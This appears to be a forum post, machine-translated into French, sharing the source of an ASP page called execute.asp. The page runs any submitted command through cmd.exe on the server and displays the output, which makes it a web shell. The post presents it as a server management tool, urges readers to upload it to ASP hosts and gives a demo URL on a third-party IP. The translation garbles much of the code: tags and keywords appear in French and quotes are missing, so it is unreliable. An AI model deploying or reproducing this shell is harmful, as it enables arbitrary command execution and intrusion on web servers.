Récemment, j'écris un outil de gestion de serveur distant (en empruntant une partie du code à ASE et en ajoutant des serveurs distants).
Exécutez des commandes, des téléchargements, des services et d'autres fonctions. ), j'ai obtenu A Xin, ADAM, Chen'er, Ghost_happy,
Je suis très touché par l'aide de crazybird et de nombreux autres internautes, j'ai donc l'intention de publier tout le code original après l'avoir écrit.
Publié et peut être librement modifié et distribué. Tout ce que vous avez à faire est de télécharger le programme sur un serveur compatible ASP.
Il convient de noter que le programme doit être pris en charge par FileSystemObject pour s'exécuter. Ce qui suit est la commande d'exécution à distance
Code d'origine. Copiez-le et enregistrez-le sous exécuter.asp.
Adresse de démonstration : http://210.160.4.24/scripts/execute.asp
C’est une machine japonaise merdique, donc les caractères chinois seront tronqués !
<html>
<tête>
<méta http-equiv=Content-Language content=zh-cn>
<méta http-equiv=Content-Type content=text/html; charset=gb2312>
<meta name=GENERATOR content=Microsoft FrontPage 4.0>
<meta name=ProgId content=FrontPage.Editor.Document>
<title>Exécuter la commande</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ famille de polices : 宋体 ; taille de police : 9 pt ; couleur : rgb(0,32,64) ;
décoration de texte : aucune }
a:hover{ font-family : 宋体 ; couleur : rgb(255,0,0) ;
}
a: visité{ couleur : rgb(128,0,0) }
-->
</style>
</tête>
<corps bgcolor=#000000 texte=#C0C0C0>
<form method=POST action=execute.asp>
<p align=left>Entrez la commande à exécuter : <input type=text name=ml
size=20 value=dir c:/ style=background-color: #C0C0C0;
#000000 ; style de bordure : solide ; largeur de bordure : 1>
<input type=submit value=execute name=B1 style=background-color :
#C0C0C0 ; couleur : #000000 ; bordure : 1 rainure #C0C0C0></p>
</form>
<%
ml=request.form(ml)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'Modifier
Chemin whoamI.txt vers un répertoire avec des autorisations d'écriture
Définir WShShell = Server.CreateObject (WScript.Shell)
RetCode = WShShell.Run(cmd, 1, True)
si RetCode = 0 Alors
Réponse.écrire ml &
Commande Response.write exécutée avec succès ! &<br><br>
autre
L'exécution de la commande Response.write a échoué ! Autorisations insuffisantes ou le programme ne peut pas être exécuté sous l'état DOS
! &<br><br>
finir si
'response.write cmd
fonctionhtmlencode(str)
résultat sombre
faible je
si estNULL(str) alors
codehtml=
fonction de sortie
finir si
l=len(chaîne)
résultat=
dimi
pour i = 1 à l
sélectionner le cas milieu (str,i,1)
cas <
résultat=résultat+<
cas >
résultat=résultat+>
cas chr(34)
résultat=résultat+
cas&
résultat=résultat+&
cas d'autre
résultat=résultat+milieu(str,i,1)
fin de la sélection
suivant
htmlencode=résultat
fonction de fin
Définir fs = CreateObject (Scripting.FileSystemObject)
Set thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'Lisez le fichier, n'oubliez pas
Modifier le chemin.
compteur=0
faire sans ce fichier.atendofstream
compteur=compteur+1
thisline=htmlencode(thisfile.readline)
réponse.écrire cette ligne&<br>
boucle
cefichier.Fermer
définir fs = rien
%>
</corps>
</html>